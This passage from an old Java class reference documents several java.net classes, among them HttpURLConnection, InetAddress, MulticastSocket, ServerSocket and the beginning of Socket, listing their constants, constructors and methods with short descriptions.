  public final static int HTTP_FORBIDDEN;
  public final static int HTTP_GATEWAY_TIMEOUT;
  public final static int HTTP_GONE;
  public final static int HTTP_INTERNAL_ERROR;
  public final static int HTTP_LENGTH_REQUIRED;
  public final static int HTTP_MOVED_PERM;
  public final static int HTTP_MOVED_TEMP;
  public final static int HTTP_MULT_CHOICE;
  public final static int HTTP_NOT_ACCEPTABLE;
  public final static int HTTP_NOT_AUTHORITATIVE;
  public final static int HTTP_NOT_FOUND;
  public final static int HTTP_NOT_MODIFIED;
  public final static int HTTP_NO_CONTENT;
  public final static int HTTP_OK;
  public final static int HTTP_PARTIAL;
  public final static int HTTP_PAYMENT_REQUIRED;
  public final static int HTTP_PRECON_FAILED;
  public final static int HTTP_PROXY_AUTH;
  public final static int HTTP_REQ_TOO_LONG;
  public final static int HTTP_RESET;
  public final static int HTTP_SEE_OTHER;
  public final static int HTTP_SERVER_ERROR;
  public final static int HTTP_UNAUTHORIZED;
  public final static int HTTP_UNAVAILABLE;
  public final static int HTTP_UNSUPPORTED_TYPE;
  public final static int HTTP_USE_PROXY;
  public final static int HTTP_VERSION;
  // Variables
  protected String method;
  protected int responseCode;
  protected String responseMessage;
  // Constructors
  protected HttpURLConnection(URL u);
  // Class Methods
  public static boolean getFollowRedirects();
  public static void setFollowRedirects(boolean set);
  // Instance Methods
  public abstract void disconnect();
  public String getRequestMethod();
  public int getResponseCode();
  public String getResponseMessage();
  public void setRequestMethod(String method);
  public abstract boolean usingProxy();
}

Constants

HTTP_ACCEPTED

public final static int HTTP_ACCEPTED = 202

Description

The HTTP response code that means the request has been accepted by the server.

HTTP_BAD_GATEWAY

public final static int HTTP_BAD_GATEWAY = 502

Description

The HTTP response code that means the server, acting as a gateway, has received a bad response from another server.

HTTP_BAD_METHOD

public final static int HTTP_BAD_METHOD = 405

Description

The HTTP response code that means the requested method is not allowed for the requested resource.

HTTP_BAD_REQUEST

public final static int HTTP_BAD_REQUEST = 400

Description

The HTTP response code that means the request was syntactically incorrect.

HTTP_CLIENT_TIMEOUT

public final static int HTTP_CLIENT_TIMEOUT = 408

Description

The HTTP response code that means the server has not received a request from the client in the time it expected.

HTTP_CONFLICT

public final static int HTTP_CONFLICT = 409

Description

The HTTP response code that means there is a conflict with the state of the requested resource.

HTTP_CREATED

public final static int HTTP_CREATED = 201

Description

The HTTP response code that means a new resource has been created as the result of the request.

HTTP_ENTITY_TOO_LARGE

public final static int HTTP_ENTITY_TOO_LARGE = 413

Description

The HTTP response code that means the request contains an entity that is too large for the server.

HTTP_FORBIDDEN

public final static int HTTP_FORBIDDEN = 403

Description

The HTTP response code that means the client does not have permission to access the requested resource.

HTTP_GATEWAY_TIMEOUT

public final static int HTTP_GATEWAY_TIMEOUT = 504

Description

The HTTP response code that means the server, acting as a gateway, has not received a response from an upstream server in the time it expected.

HTTP_GONE

public final static int HTTP_GONE = 410

Description

The HTTP response code that means the requested resource is no longer available.

HTTP_INTERNAL_ERROR

public final static int HTTP_INTERNAL_ERROR = 501

Description

The HTTP response code that means the server does not or cannot support the client's request.

HTTP_LENGTH_REQUIRED

public final static int HTTP_LENGTH_REQUIRED = 411

Description

The HTTP response code that means the server won't accept the request without a length indication.

HTTP_MOVED_PERM

public final static int HTTP_MOVED_PERM = 301

Description

The HTTP response code that means the requested resource has moved permanently.

HTTP_MOVED_TEMP

public final static int HTTP_MOVED_TEMP = 302

Description

The HTTP response code that means the requested resource has moved temporarily.

HTTP_MULT_CHOICE

public final static int HTTP_MULT_CHOICE = 300

Description

The HTTP response code that means the requested resource is available in multiple representations.

HTTP_NOT_ACCEPTABLE

public final static int HTTP_NOT_ACCEPTABLE = 406

Description

The HTTP response code that means the requested resource is not available in a representation that is acceptable to the client.

HTTP_NOT_AUTHORITATIVE

public final static int HTTP_NOT_AUTHORITATIVE = 203

Description

The HTTP response code that means the information returned may be a copy.

HTTP_NOT_FOUND

public final static int HTTP_NOT_FOUND = 404

Description

The HTTP response code that means the server could not find the requested resource.

HTTP_NOT_MODIFIED

public final static int HTTP_NOT_MODIFIED = 304

Description

The HTTP response code that means the requested resource has not been modified.

HTTP_NO_CONTENT

public final static int HTTP_NO_CONTENT = 204

Description

The HTTP response code that means the request has been processed, but there is no new information.

HTTP_OK

public final static int HTTP_OK = 200

Description

The HTTP response code that means the request succeeded.

HTTP_PARTIAL

public final static int HTTP_PARTIAL = 206

Description

The HTTP response code that means the partial request has been fulfilled.

HTTP_PAYMENT_REQUIRED

public final static int HTTP_PAYMENT_REQUIRED = 402

Description

An HTTP response code that is reserved for future use.

HTTP_PRECON_FAILED

public final static int HTTP_PRECON_FAILED = 412

Description

The HTTP response code that means the precondition in the request has failed.

HTTP_PROXY_AUTH

public final static int HTTP_PROXY_AUTH = 407

Description

The HTTP response code that means the client needs to authenticate itself with the proxy.

HTTP_REQ_TOO_LONG

public final static int HTTP_REQ_TOO_LONG = 414

Description

The HTTP response code that means the client request is too long.

HTTP_RESET

public final static int HTTP_RESET = 205

Description

The HTTP response code that means the request has been fulfilled, and the client should reset its view.

HTTP_SEE_OTHER

public final static int HTTP_SEE_OTHER = 303

Description

The HTTP response code that means the requested resource is available at another URL.

HTTP_SERVER_ERROR

public final static int HTTP_SERVER_ERROR = 500

Description

The HTTP response code that means the server encountered a problem and could not fulfill the request.

HTTP_UNAUTHORIZED

public final static int HTTP_UNAUTHORIZED = 401

Description

The HTTP response code that means the client is not authenticated for the requested resource.

HTTP_UNAVAILABLE

public final static int HTTP_UNAVAILABLE = 503

Description

The HTTP response code that means the server is temporarily unable to fulfill the request.

HTTP_UNSUPPORTED_TYPE

public final static int HTTP_UNSUPPORTED_TYPE = 415

Description

The HTTP response code that means the server cannot process the type of the request.

HTTP_USE_PROXY

public final static int HTTP_USE_PROXY = 305

Description

The HTTP response code that means a proxy must be used to access the requested resource.

HTTP_VERSION

public final static int HTTP_VERSION = 505

Description

The HTTP response code that means the server does not support the HTTP version used in the request.

Variables

method

protected String method = "GET"

Description

The method of this request. Valid values are: "DELETE", "GET", "HEAD", "OPTIONS", "POST", "PUT", and "TRACE".

responseCode

protected int responseCode = -1

Description

The response code from the server, which may be one of the HTTP_ constants.

responseMessage

protected String responseMessage = null

Description

The response message from the server that corresponds to responseCode.

Constructors

HttpURLConnection

protected HttpURLConnection(URL u)

Parameters

u

A URL object that represents a resource.

Description

This constructor creates an HttpURLConnection for the given URL object.

Class Methods

getFollowRedirects

public static boolean getFollowRedirects()

Returns

A boolean value that indicates whether or not HTTP redirect codes are automatically followed.

Description

This method indicates whether or not this HttpURLConnection follows HTTP redirects. The default value is false.

setFollowRedirects

public static void setFollowRedirects(boolean set)

Parameters

set

A boolean value that specifies whether or not HTTP redirects should be followed.

Throws

SecurityException

If there is a SecurityManager installed and its checkSetFactory() method throws a SecurityException.

Description

This method specifies whether or not this HttpURLConnection follows HTTP redirects.

Instance Methods

disconnect

public abstract void disconnect()

Description

This method closes the connection to the server.

getRequestMethod

public String getRequestMethod()

Returns

The method of this request.

Description

This method returns the method of this request.

getResponseCode

public int getResponseCode() throws IOException

Returns

The response code from the server.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the code the server sent in response to this request. For example, suppose the server response is:

HTTP/1.0 404 Not Found

In this case, the method returns integer value 404.

getResponseMessage

public int getResponseMessage() throws IOException

Returns

The response message from the server.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the message the server sent in response to this request. For example, suppose the server response is:

HTTP/1.0 404 Not Found

In this case, the method returns the string "Not Found".

setRequestMethod

 public void setRequestMethod(String method) throws ProtocolException

Parameters

method

The new method for this request.

Throws

ProtocolException

If the connection has already been made or if method is invalid.

Description

This method sets the method of this request. Valid values are: "DELETE", "GET", "HEAD", "OPTIONS", "POST", "PUT", and "TRACE".

usingProxy

public abstract boolean usingProxy()

Returns

A boolean value that indicates whether or not this HttpURLConnection is using a proxy.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns a flag that indicates if this connection is going through a proxy or not.

Inherited Variables

Variable | Inherited From | Variable | Inherited From
allowUserInteraction | URLConnection | connected | URLConnection
doInput | URLConnection | doOutput | URLConnection
ifModifiedSince | URLConnection | url | URLConnection
useCaches | URLConnection |  |

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | connect() | URLConnection
equals(Object) | Object | finalize() | Object
getAllowUserInteraction() | URLConnection | getClass() | Object
getContent() | URLConnection | getContentEncoding() | URLConnection
getContentLength() | URLConnection | getContentType() | URLConnection
getDate() | URLConnection | getDefaultUseCaches() | URLConnection
getDoInput() | URLConnection | getDoOutput() | URLConnection
getExpiration() | URLConnection | getHeaderField(String) | URLConnection
getHeaderField(int) | URLConnection | getHeaderFieldDate(String, long) | URLConnection
getHeaderFieldInt(String, int) | URLConnection | getHeaderFieldKey(int) | URLConnection
getIfModifiedSince() | URLConnection | getInputStream() | URLConnection
getLastModified() | URLConnection | getOutputStream() | URLConnection
getRequestProperty(String) | URLConnection | getURL() | URLConnection
getUseCaches() | URLConnection | hashCode() | Object
notify() | Object | notifyAll() | Object
setAllowUserInteraction(boolean) | URLConnection | setDefaultUseCaches(boolean) | URLConnection
setDoInput(boolean) | URLConnection | setDoOutput(boolean) | URLConnection
setIfModifiedSince(long) | URLConnection | setRequestProperty(String, String) | URLConnection
setUseCaches(boolean) | URLConnection | toString() | URLConnection
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

IOException, ProtocolException, SecurityException, SecurityManager, URL, URLConnection

Previous | Home | Next
FileNameMap | Book Index | InetAddress
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] InetAddress

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

InetAddress

Name

InetAddress

Synopsis

Class Name:

java.net.InetAddress

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The InetAddress class encapsulates an Internet Protocol (IP) address. InetAddress objects are used by the various classes that are responsible for specifying the destination addresses of outbound network packets, such as DatagramSocket, MulticastSocket, and Socket. InetAddress does not provide any public constructors. Instead, you must use the static methods getAllByName(), getByName(), and getLocalHost() to create InetAddress objects.

Class Summary

public final class java.net.InetAddress extends java.lang.Object
                   implements java.io.Serializable {
  // Class Methods
  public static InetAddress[] getAllByName(String host);
  public static InetAddress getByName(String host);
  public static InetAddress getLocalHost();
  // Instance Methods
  public boolean equals(Object obj);
  public byte[] getAddress();
  public String getHostAddress();                // New in 1.1
  public String getHostName();
  public int hashCode();
  public boolean isMulticastAddress();           // New in 1.1
  public String toString();
}

Class Methods

getAllByName

 public static InetAddress[] getAllByName(String host) throws UnknownHostException

Parameters

host

A String that contains a hostname.

Returns

An array of InetAddress objects that corresponds to the given name.

Throws

SecurityException

If the application is not allowed to connect to host.

UnknownHostException

If host cannot be resolved.

Description

This method finds all of the IP addresses that correspond to the given hostname. The hostname can be a machine name, such as "almond.nuts.com", or a string representation of an IP address, such as "208.25.146.1".

getByName

 public static InetAddress getByName(String host) throws UnknownHostException

Parameters

host

A String that contains a host name.

Returns

An InetAddress that corresponds to the given name.

Throws

SecurityException

If the application is not allowed to connect to host.

UnknownHostException

If host cannot be resolved.

Description

This method returns the primary IP address that correspond to the given hostname. The hostname can be a machine name, such as "almond.nuts.com", or a string representation of an IP address, such as "208.25.146.1".

getLocalHost

 public static InetAddress getLocalHost() throws UnknownHostException

Returns

An InetAddress that corresponds to the name of the local machine.

Throws

SecurityException

If the application is not allowed to connect to host.

UnknownHostException

If host cannot be resolved.

Description

This method finds the IP address of the local machine.

Instance Methods

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equivalent; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of InetAddress that specifies the same IP address as the object this method is associated with.

getAddress

public byte[] getAddress()

Returns

A byte array with elements that correspond to the bytes of the IP address that this object represents.

Description

This method returns the IP address associated with this object as an array of bytes in network order. That means that the first element of the array contains the highest order byte, and the last element of the array contains the lowest order byte.

getHostAddress

public String getHostAddress()

Availability

New as of JDK 1.1

Returns

A String that contains the IP address of this object.

Description

This method returns a string representation of the IP address associated with this object. For example: "206.175.64.78".

getHostName

public String getHostName()

Returns

The hostname associated with this object.

Description

In most cases, this method returns the hostname that corresponds to the IP address associated with this object. However, there are a few special cases:

  • If the address associated with this object is address of the local machine, the method may return null.

  • If the method cannot determine a home name to go with the address associated with this object, the method returns a string representation of the address.

  • If the application is not allowed to know the hostname, the method returns a string representation of the address.

hashCode

public int hashCode()

Returns

The hashcode based on the IP address of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this object, based on the IP address associated with this object.

isMulticastAddress

public boolean isMulticastAddress()

Availability

New as of JDK 1.1

Returns

true if this object represents a multicast address; false otherwise.

Description

This method returns a flag that indicates if this object represents an IP multicast address. A multicast address is a Class D address, which means that its four highest-order bits are set to 1110. In other words, multicast addresses are in the range 224.0.0.1 through 239.255.255.255 inclusive.

toString

public String toString()

Returns

The string representation of this InetAddress.

Overrides

Object.toString()

Description

This method returns a String that contains both the hostname and IP address of this object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

DatagramSocket, MulticastSocket, SecurityException, Serializable, Socket, UnknownHostException

Previous | Home | Next
HttpURLConnection | Book Index | MalformedURLException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] MalformedURLException

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

MalformedURLException

Name

MalformedURLException

Synopsis

Class Name:

java.net.MalformedURLException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A MalformedURLException is thrown when a malformed URL is encountered, which can occur if a URL does not contain a valid protocol or if the string is unparsable.

Class Summary

public class java.net.MalformedURLException extends java.io.IOException {
  // Constructors
  public MalformedURLException();
  public MalformedURLException(String msg);
}

Constructors

MalformedURLException

public MalformedURLException()

Description

This constructor creates a MalformedURLException with no associated detail message.

public MalformedURLException(String msg)

Parameters

msg

The detail message.

Description

This constructor creates a MalformedURLException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, RuntimeException

Previous | Home | Next
InetAddress | Book Index | MulticastSocket
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] MulticastSocket

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

MulticastSocket

Name

MulticastSocket

Synopsis

Class Name:

java.net.MulticastSocket

Superclass:

java.net.DatagramSocket

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The MulticastSocket class implements packet-oriented, connectionless, multicast data communication. In Internet parlance, this is the User Datagram Protocol (UDP) with additional functionality for joining and leaving groups of other multicast hosts on the Internet. A multicast group is specified by a Class D address, which means that the four highest-order bits are set to 1110. In other words, multicast addresses are in the range 224.0.0.1 through 239.255.255.255 inclusive.

MulticastSocket inherits most of its functionality from DatagramSocket; it adds the ability to join and leave multicast groups. When a MulticastSocket joins a group, it receives all of the packets destined for the group. Any DatagramSocket or MulticastSocket can send packets to a multicast group.

Class Summary

public final class java.net.MulticastSocket
                   extends java.net.DatagramSocket {
  // Constructors
  public MulticastSocket();
  public MulticastSocket(int port);
  // Instance Methods
  public InetAddress getInterface();
  public byte getTTL();
  public void joinGroup(InetAddress mcastaddr);
  public void leaveGroup(InetAddress mcastaddr)
  public synchronized void send(DatagramPacket p, byte ttl);
  public void setInterface(InetAddress inf);
  public void setTTL(byte ttl);
}

Constructors

MulticastSocket

public MulticastSocket() throws IOException

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to listen on the port.

Description

This constructor creates a MulticastSocket that is bound to any available port on the local host machine.

public MulticastSocket(int port) throws IOException

Parameters

port

A port number.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to listen on the given port.

Description

This constructor creates a MulticastSocket that is bound to the given port on the local host machine.

Instance Methods

getInterface

public InetAddress getInterface() throws SocketException

Returns

The address of the network interface used for outgoing multicast packets.

Throws

SocketException

If any kind of socket error occurs.

Description

This method returns the IP address that this MulticastSocket uses to send out packets to multicast destinations.

getTTL

public byte getTTL() throws IOException

Returns

The time-to-live (TTL) value for this socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the TTL value for this socket. This value is the number of hops an outgoing packet can traverse before it is discarded.

joinGroup

public void joinGroup(InetAddress mcastaddr) throws IOException

Parameters

mcastaddr

The IP address of the group to join.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to access the given multicast address.

Description

This method is used to join a multicast group. An exception is thrown if the given address is not a multicast address. While the socket is part of a group, it receives all the packets that are sent to the group.

leaveGroup

public void leaveGroup(InetAddress mcastaddr) throws IOException

Parameters

mcastaddr

The IP address of the group to leave.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to access the given multicast address.

Description

This method is used to leave a multicast group. An exception is thrown if the given address is not a multicast address.

send

 public synchronized void send(DatagramPacket p, byte ttl) throws IOException

Parameters

p

The DatagramPacket to be sent.

ttl

The time-to-live (TTL) value for this packet.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to send data to the packet's destination.

Description

This method sends a packet from this socket using the given TTL value. The packet data, packet length, destination address, and destination port number are specified by the given DatagramPacket.

Generally, it is easier to use setTTL() to set the TTL value for the socket, then use send(DatagramPacket) to send data. This method is provided for special cases.

setInterface

public void setInterface(InetAddress inf) throws SocketException

Parameters

inf

The new address of the network interface for multicast packets.

Throws

SocketException

If any kind of socket error occurs.

Description

This method is used to set the address that is used for outgoing multicast packets.

setTTL

public void setTTL(byte ttl) throws IOException

Parameters

ttl

The new time-to-live (TTL) value for this socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method is used to set the TTL value of the socket. The TTL value is the number of hops an outgoing packet can traverse before it is discarded.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | DatagramSocket
equals(Object) | Object | finalize() | Object
getClass() | Object | getLocalAddress() | DatagramSocket
getLocalPort() | DatagramSocket | getSoTimeout() | DatagramSocket
hashCode() | Object | notify() | Object
notifyAll() | Object | receive(DatagramPacket) | DatagramSocket
send(DatagramPacket) | DatagramSocket | setSoTimeout(int) | DatagramSocket
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

DatagramPacket, DatagramSocket, DatagramSocketImpl, InetAddress, IOException, SecurityException, SocketException

Previous | Home | Next
MalformedURLException | Book Index | NoRouteToHostException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] NoRouteToHostException

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

NoRouteToHostException

Name

NoRouteToHostException

Synopsis

Class Name:

java.net.NoRouteToHostException

Superclass:

java.net.SocketException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A NoRouteToHostException is thrown when a socket connection cannot be established with a remote host. This type of exception usually indicates that a firewall is blocking access to the host, or that an intermediate router is down.

Class Summary

public class java.net.NoRouteToHostException
             extends java.net.SocketException {
  // Constructors
  public NoRouteToHostException();
  public NoRouteToHostException(String msg);
}

Constructors

NoRouteToHostException

public NoRouteToHostException()

Description

This constructor creates a NoRouteToHostException with no associated detail message.

public NoRouteToHostException(String msg)

Parameters

msg

The detail message.

Description

This constructor creates a NoRouteToHostException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, RuntimeException, SocketException

Previous | Home | Next
MulticastSocket | Book Index | ProtocolException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] ProtocolException

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

ProtocolException

Name

ProtocolException

Synopsis

Class Name:

java.net.ProtocolException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A ProtocolException is thrown to indicate that there has been an error in an underlying protocol, such as an HTTP or TCP protocol error.

Class Summary

public class java.net.ProtocolException extends java.io.IOException {
  // Constructors
  public ProtocolException();
  public ProtocolException(String host);
}

Constructors

ProtocolException

public ProtocolException()

Description

This constructor creates a ProtocolException with no associated detail message.

public ProtocolException(String host)

Parameters

host

The detail message.

Description

This constructor creates a ProtocolException with the specified detail message, which should be the host that caused the underlying protocol error.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, RuntimeException

Previous | Home | Next
NoRouteToHostException | Book Index | ServerSocket
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] ServerSocket

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

ServerSocket

Name

ServerSocket

Synopsis

Class Name:

java.net.ServerSocket

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The ServerSocket class represents a socket that listens for connection requests from clients on a specified port. When a connection is requested, a Socket object is created to handle the communication.

The low-level network access in ServerSocket is provided by a subclass of the abstract class SocketImpl. An application can change the server socket factory that creates the SocketImpl subclass by supplying a SocketImplFactory using the setSocketFactory() method. This feature allows an application to create sockets that are appropriate for the local network configuration and accommodate such things as firewalls.

Class Summary

public class java.net.ServerSocket extends java.lang.Object {
  // Constructors
  public ServerSocket(int port);
  public ServerSocket(int port, int backlog);
  public ServerSocket(int port, int backlog,
                      InetAddress bindAddr);              // New in 1.1
  // Class Methods
  public static synchronized void setSocketFactory(SocketImplFactory fac);
  // Instance Methods
  public Socket accept();
  public void close();
  public InetAddress getInetAddress();
  public int getLocalPort();
  public synchronized int getSoTimeout()                  // New in 1.1
  public synchronized void setSoTimeout(int timeout);     // New in 1.1
  public String toString();
  // Protected Instance Methods
  protected final void implAccept(Socket s);              // New in 1.1
}

Constructors

ServerSocket

public ServerSocket(int port) throws IOException

Parameters

port

A port number, or 0 for any available port.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to listen on the given port.

Description

This method creates a server socket that listens for a connection on the given port. A default of 50 pending connections can be queued by the ServerSocket. Calling accept() removes a pending connections from the queue. If the queue is full, additional connection requests are refused.

If an application has specified a server socket factory, the createSocketImpl() method of that factory is called to create the actual socket implementation. Otherwise, the constructor creates a plain socket.

public ServerSocket(int port, int backlog) throws IOException

Parameters

port

A port number, or 0 for any available port.

backlog

The maximum length of the pending connections queue.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to listen on the given port.

Description

This method creates a server socket that listens for a connection on the given port. The backlog parameter specifies how many pending connections can be queued by the ServerSocket. Calling accept() removes a pending connection from the queue. If the queue is full, additional connection requests are refused.

If an application has specified a server socket factory, the createSocketImpl() method of that factory is called to create the actual socket implementation. Otherwise, the constructor creates a plain socket.

 public ServerSocket(int port, int backlog, InetAddress bindAddr) throws IOException

Availability

New as of JDK 1.1

Parameters

port

A port number, or 0 for any available port.

backlog

The maximum length of the pending connections queue.

bindAddr

A local address.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to listen on the given port.

Description

This method creates a server socket that listens for a connection on the given port of bindAddr. On machines with multiple addresses, bindAddr specifies the address on which this ServerSocket listens. The backlog parameter specifies how many pending connections can be queued by the ServerSocket. Calling accept() removes pending connections from the queue. If the queue is full, additional connection requests are refused.

If an application has specified a server socket factory, the createSocketImpl() method of that factory is called to create the actual socket implementation. Otherwise, the constructor creates a plain socket.

Class Methods

setSocketFactory

 public static synchronized void setSocketFactory( SocketImplFactory fac) throws IOException

Parameters

fac

An object that implements SocketImplFactory.

Throws

IOException

If the factory has already been defined.

SecurityException

If the application does not have permission to set the factory.

Description

This method is used to set the SocketImplFactory. This factory object produces instances of subclasses of SocketImpl that do the low-level work of server sockets. When a ServerSocket constructor is called, the createSocketImpl() method of the factory is called to create the server socket implementation.

Instance Methods

accept

public Socket accept() throws IOException

Returns

A Socket object for the connection.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to accept the connection.

Description

This method accepts a connection and returns a Socket object to handle communication. If there are pending connections, the method accepts a pending connection from the queue and returns immediately. Otherwise, the method may block until a connection is requested. If a time-out value has been specified using the setSoTimeout() method, accept() may time out and throw an InterruptedIOException if no connection is requested in the time-out period.

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes this server socket, releasing any system resources it holds.

getInetAddress

public InetAddress getInetAddress()

Returns

The IP address to which this ServerSocket is listening.

Description

Generally, this method returns the address of the local host. However, a ServerSocket can be constructed with an alternate address using ServerSocket(int, int, InetAddress). The method returns null if the socket is not yet connected.

getLocalPort

public int getLocalPort()

Returns

The port number to which this ServerSocket is listening.

Description

This method returns the port number to which this object is connected.

getSoTimeout

public synchronized int getSoTimeout() throws IOException

Availability

New as of JDK 1.1

Returns

The receive timeout value for the socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the receive time-out value for this socket. A value of zero indicates that accept() waits indefinitely for an incoming packet, while a non-zero value indicates the number of milliseconds it waits.

setSoTimeout

 public synchronized void setSoTimeout(int timeout) throws SocketException

Availability

New as of JDK 1.1

Parameters

timeout

The new time-out value, in milliseconds, for this socket.

Throws

SocketException

If any kind of socket error occurs.

Description

This method is used to set the time-out value that is used for accept(). A nonzero value is the length of time, in milliseconds, the ServerSocket should wait for a connection. A value of zero indicates that the ServerSocket should wait indefinitely. If a time-out value is needed, this method must be called before accept().

toString

public String toString()

Returns

The string representation of this ServerSocket.

Overrides

Object.toString()

Description

This method returns a String that contains the address and port of this ServerSocket.

Protected Instance Methods

implAccept

protected final void implAccept(Socket s) throws IOException

Availability

New as of JDK 1.1

Parameters

s

The Socket object to be connected.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to accept the connection.

Description

This method is a helper method for accept(). It can be overridden in subclasses of ServerSocket to support new subclasses of Socket.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

InetAddress, IOException, SecurityException, Socket, SocketException, SocketImpl, SocketImplFactory

Previous | Home | Next
ProtocolException | Book Index | Socket
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] Socket

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

Socket

Name

Socket

Synopsis

Class Name:

java.net.Socket

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Socket class implements stream-based, connection-oriented, reliable data communication. Although Socket objects are often used with the Transmission Control Protocol, commonly known as TCP, they are independent of the actual protocol being used. The Socket class encapsulates client logic that is common to connection-oriented protocols. Sockets are two-way data pipes that are connected on either end to an address and port number. As of JDK 1.1, new constructors allow you to specify the local address and port as well as the remote address and port.

A Socket object uses an object that belongs to a subclass of the abstract class SocketImpl to access protocol-specific logic. A program can specify the subclass of SocketImpl that is used by passing an appropriate SocketImplFactory object to the setSocketImplFactory() method before any Socket objects are created. This feature allows a program to create sockets that are able to accommodate such things as firewalls or even work with different protocols.

Class Summary

public class java.net.Socket extends java.lang.Object {
  // Constructors
  public Socket(String host, int port);
  public Socket(InetAddress address, int port);
  public Socket(String host, int port,
                InetAddress localAddr, int localPort);     // New in 1.1
  public Socket(InetAddress address, int port,
                InetAddress localAddr, int localPort);     // New in 1.1
  public Socket(String host, int port,
                boolean stream);                     // Deprecated in 1.1
  public Socket(InetAddress host, int port,
                boolean stream);                     // Deprecated in 1.1
  protected Socket();                                      // New in 1.1
  protected Socket(SocketImpl impl);                       // New in 1.1
  // Class Methods
  public static synchronized void setSocketImplFactory(
                                  SocketImplFactory fac);
  // Instance Methods
  public synchronized void close();
  public InetAddress getInetAddress();
  public InputStream getInputStream();
  public InetAddress getLocalAddress();                    // New in 1.1
  public int getLocalPort();
  public OutputStream getOutputStream();
  public int getPort();
  public int getSoLinger();                                // New in 1.1
  public synchronized int getSoTimeout();                  // New in 1.1
  public boolean getTcpNoDelay();                          // New in 1.1
  public void setSoLinger(boolean on, int val);            // New in 1.1
  public synchronized void setSoTimeout(int timeout);      // New in 1.1
  public void setTcpNoDelay(boolean on);                   // New in 1.1
  public String toString();
}

Constructors

Socket

 public Socket(String host, int port) throws IOException, UnknownHostException

Parameters

host

The name of a remote machine.

